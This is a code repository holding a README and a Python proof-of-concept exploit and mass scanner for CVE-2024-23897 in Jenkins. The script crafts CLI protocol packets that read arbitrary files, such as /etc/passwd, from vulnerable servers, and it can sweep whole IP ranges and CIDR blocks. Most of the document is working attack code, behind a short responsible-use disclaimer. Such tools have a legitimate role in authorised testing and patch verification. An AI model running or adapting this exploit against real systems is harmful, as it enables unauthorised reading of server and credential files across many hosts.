├── .gitattributes ├── README.md └── CVE-2024-23897.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-23897 | Jenkins <= 2.441 & <= LTS 2.426.2 PoC and scanner 2 | 3 | ## 📜 Description 4 | 5 | Exploitation and scanning tool specifically designed for Jenkins versions `<= 2.441 & <= LTS 2.426.2`. It leverages `CVE-2024-23897` to assess and exploit vulnerabilities in Jenkins instances. 6 | 7 | ![image](https://github.com/xaitax/CVE-2024-23897/assets/5014849/e915b71e-62f5-45c0-8a68-c57b60ad53ed) 8 | 9 | ## 🚀 Usage 10 | 11 | Ensure you have the necessary permissions to scan and exploit the target systems. Use this tool responsibly and ethically. 12 | 13 | ```bash 14 | python CVE-2024-23897.py -t -p -f 15 | ``` 16 | 17 | or 18 | 19 | ```bash 20 | python CVE-2024-23897.py -i -f 21 | ``` 22 | 23 | **Parameters:** 24 | - `-t` or `--target`: Specify the target IP(s). Supports single IP, IP range, comma-separated list, or CIDR block. 25 | - `-i` or `--input-file`: Path to input file containing hosts in the format of `http://1.2.3.4:8080/` (one per line). 26 | - `-o` or `--output-file`: Export results to file (optional). 27 | - `-p` or `--port`: Specify the port number. Default is 8080 (optional). 28 | - `-f` or `--file`: Specify the file to read on the target system. 29 | - `-o` or `--output`: Path to output file for saving the results (optional). 30 | - `-c` or `--command`: The jenkins-cli.jar command [help|who-am-i|connect-node]. Default is 'help' (optional). 31 | - `-l` or `--language`: The language code you want to use. Default is en_US (optional). 32 | 33 | ## 📆 Changelog 34 | 35 | ### [29th Febuary 2024] - Bugs & Feature Request (thanks to [@cbartholomew](https://www.linkedin.com/in/christophermbartholomew/)) 36 | 37 | - The packet length will now adjust to ensure all file names will be uploaded with the correct packet lengths. i.e. works with more than just /etc/passwd or 11 character file lenghts. 38 | - Added `-c COMMAND` which allows the testing of other jenkins-cli.jar commands: who-am-i,connect-node. Default remains "help". 39 | - Added `-l LANGUAGE` which allows for the 5 byte language code, i.e. en_US, cn_ZH, etc. The default is en_US. 40 | 41 | ### [27th January 2024] - Feature Request 42 | 43 | - Added scanning/exploiting via input file with hosts (`-i INPUT_FILE`). 44 | - Added export to file (`-o OUTPUT_FILE`). 45 | 46 | ### [26th January 2024] - Initial Release 47 | 48 | - Initial release. 49 | 50 | ## Contributing 51 | Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues. 52 | 53 | ## 📌 Author 54 | 55 | **Alexander Hagenah** 56 | - [URL](https://primepage.de) 57 | - [Twitter](https://twitter.com/xaitax) 58 | 59 | ## ⚠️ Disclaimer 60 | 61 | This tool is meant for educational and professional purposes only. Unauthorized scanning and exploiting of systems is illegal and unethical. Always ensure you have explicit permission to test and exploit any systems you target. 62 | -------------------------------------------------------------------------------- /CVE-2024-23897.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import threading 4 | import http.client 5 | import time 6 | import uuid 7 | import sys 8 | import urllib.parse 9 | import argparse 10 | import ipaddress 11 | 12 | BLUE = "\033[94m" 13 | GREEN = "\033[92m" 14 | RED = "\033[91m" 15 | ENDC = "\033[0m" 16 | CONTENT_TYPE_OCTET_STREAM = 'application/octet-stream' 17 | ARBITRATY_CHAR = '@' 18 | 19 | def display_help_message(): 20 | parser.print_help() 21 | 22 | def display_banner(): 23 | banner = """ 24 | CVE-2024-23897 | Jenkins <= 2.441 & <= LTS 2.426.2 PoC and scanner. 25 | Alexander Hagenah / @xaitax / ah@primepage.de" 26 | """ 27 | print(BLUE + banner + ENDC) 28 | 29 | def expand_cidr(cidr): 30 | try: 31 | ip_network = ipaddress.ip_network(cidr, strict=False) 32 | return [str(ip) for ip in ip_network.hosts()] 33 | except ValueError: 34 | return [] 35 | 36 | def expand_range(ip_range): 37 | start_ip, end_ip = ip_range.split('-') 38 | start_ip = ipaddress.ip_address(start_ip) 39 | end_ip = ipaddress.ip_address(end_ip) 40 | return [str(ipaddress.ip_address(start_ip) + i) for i in range(int(end_ip) - int(start_ip) + 1)] 41 | 42 | def expand_list(ip_list): 43 | return ip_list.split(',') 44 | 45 | def generate_ip_list(target): 46 | if '-' in target: 47 | return expand_range(target) 48 | elif ',' in target: 49 | return expand_list(target) 50 | elif '/' in target: 51 | return expand_cidr(target) 52 | else: 53 | return [target] 54 | 55 | def handle_target(target_url, session_id, data_bytes): 56 | print(BLUE + f"🔍 Scanning {target_url}" + ENDC) 57 | if args.output_file: 58 | write_to_output_file(args.output_file, f"🔍 Scanning {target_url}") 59 | 60 | download_thread = threading.Thread(target=send_download_request, args=(target_url, session_id)) 61 | upload_thread = threading.Thread(target=send_upload_request, args=(target_url, session_id, data_bytes)) 62 | 63 | download_thread.start() 64 | time.sleep(0.1) 65 | upload_thread.start() 66 | 67 | download_thread.join() 68 | upload_thread.join() 69 | 70 | def send_download_request(target_url, session_id): 71 | try: 72 | parsed_url = urllib.parse.urlparse(target_url) 73 | connection = http.client.HTTPConnection(parsed_url.netloc, timeout=10) 74 | connection.request("POST", "/cli?remoting=false", headers={ 75 | "Session": session_id, 76 | "Side": "download" 77 | }) 78 | response = connection.getresponse().read() 79 | result = f"💣 Exploit Response from {target_url}: \n{response.decode()}" 80 | print(GREEN + result + ENDC) 81 | if args.output_file: 82 | write_to_output_file(args.output_file, result) 83 | except Exception as e: 84 | error_message = f"❌ {target_url} not reachable: {e}\n" 85 | print(RED + error_message + ENDC) 86 | if args.output_file: 87 | write_to_output_file(args.output_file, error_message) 88 | 89 | def send_upload_request(target_url, session_id, data_bytes): 90 | try: 91 | parsed_url = urllib.parse.urlparse(target_url) 92 | connection = http.client.HTTPConnection(parsed_url.netloc, timeout=10) 93 | connection.request("POST", "/cli?remoting=false", headers={ 94 | "Session": session_id, 95 | "Side": "upload", 96 | "Content-type": CONTENT_TYPE_OCTET_STREAM 97 | }, body=data_bytes) 98 | response = connection.getresponse().read() 99 | except Exception as e: 100 | pass 101 | 102 | def read_hosts_from_file(file_path): 103 | with open(file_path, 'r') as file: 104 | return [line.strip() for line in file if line.strip()] 105 | 106 | def write_to_output_file(file_path, data): 107 | with open(file_path, 'a', encoding='utf-8') as file: 108 | file.write(data + '\n') 109 | 110 | def build_data_segment(file_path,command,language): 111 | return calculate_header_in_bytes(command) + calculate_payload_in_bytes(file_path) + calculate_tail_in_bytes(language) 112 | 113 | def calculate_header_in_bytes(command): 114 | """Creates the header of the packet that contains the command.""" 115 | 116 | header_slice = () 117 | if command == "help": 118 | header_slice = (b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00') 119 | elif command == "who-am-i": 120 | header_slice = (b'\x00\x00\x00\x0A\x00\x00\x08who-am-i\x00\x00\x00') 121 | elif command == "connect-node": 122 | header_slice = (b'\x00\x00\x00\x0E\x00\x00\x0Cconnect-node\x00\x00\x00') 123 | else: 124 | header_slice = (b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00') 125 | 126 | return header_slice 127 | 128 | def calculate_payload_in_bytes(file_path): 129 | """Creates the primary payload of the packet - including file path.""" 130 | 131 | file_path = ARBITRATY_CHAR + file_path 132 | hex_value_for_payload = decimal_to_hex(len(file_path)) 133 | hex_value_for_payload_header = decimal_to_hex((len(file_path)+2)) 134 | payload_slice = ( 135 | b'' + hex_value_for_payload_header + b'\x00\x00' + hex_value_for_payload + file_path.encode() 136 | ) 137 | return payload_slice 138 | 139 | def calculate_tail_in_bytes(language): 140 | """Creates the tail end of the packet that contains language.""" 141 | 142 | tail_slice = ( 143 | b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05'+ language.encode() + b'\x00\x00\x00\x00\x03') 144 | return tail_slice 145 | 146 | def decimal_to_hex(decimal_value): 147 | """Converts a decimal value to its hexadecimal representation.""" 148 | 149 | if not isinstance(decimal_value, int): 150 | raise ValueError("Input must be an integer.") 151 | if decimal_value < 0: 152 | raise ValueError("Input must be non-negative.") 153 | hex_string = hex(decimal_value)[2:] 154 | hex_bytes = bytes.fromhex(hex_string.zfill(2)) 155 | return hex_bytes 156 | 157 | parser = argparse.ArgumentParser(description='CVE-2024-23897 | Jenkins <= 2.441 & <= LTS 2.426.2 exploitation and scanner.') 158 | group = parser.add_mutually_exclusive_group(required=True) 159 | group.add_argument('-t', '--target', help='Target specification. Can be a single IP (e.g., 192.168.1.1), a range of IPs (e.g., 192.168.1.1-192.168.1.255), a list of IPs separated by commas (e.g., 192.168.1.1,192.168.1.2), or a CIDR block (e.g., 192.168.1.0/24).') 160 | group.add_argument('-i', '--input-file', help='Path to input file containing hosts.') 161 | parser.add_argument('-p', '--port', type=int, default=8080, help='Port number. Default is 8080.') 162 | parser.add_argument('-f', '--file', required=True, help='File to read on the target system. Only maximum of 3 lines can be extracted.') 163 | parser.add_argument('-o', '--output-file', help='Path to output file for saving the results.') 164 | parser.add_argument('-c', '--command',default="help", help="The jenkinds-cli.jar command [help|who-am-i|connect-node]. Default is 'help'.") 165 | parser.add_argument('-l', '--language',default="en_US", help="The language code you want to use." ) 166 | 167 | display_banner() 168 | 169 | if len(sys.argv) == 1: 170 | display_help_message() 171 | sys.exit(1) 172 | 173 | args = parser.parse_args() 174 | 175 | # data packet will adjust based on file 176 | data_bytes = build_data_segment( 177 | args.file,args.command, 178 | args.language) 179 | 180 | if args.input_file: 181 | target_urls = read_hosts_from_file(args.input_file) 182 | else: 183 | target_ips = generate_ip_list(args.target) 184 | target_urls = [f'http://{target_ip}:{args.port}' for target_ip in target_ips] 185 | 186 | for target_url in target_urls: 187 | session_id = str(uuid.uuid4()) 188 | handle_target(target_url, session_id, data_bytes) 189 | --------------------------------------------------------------------------------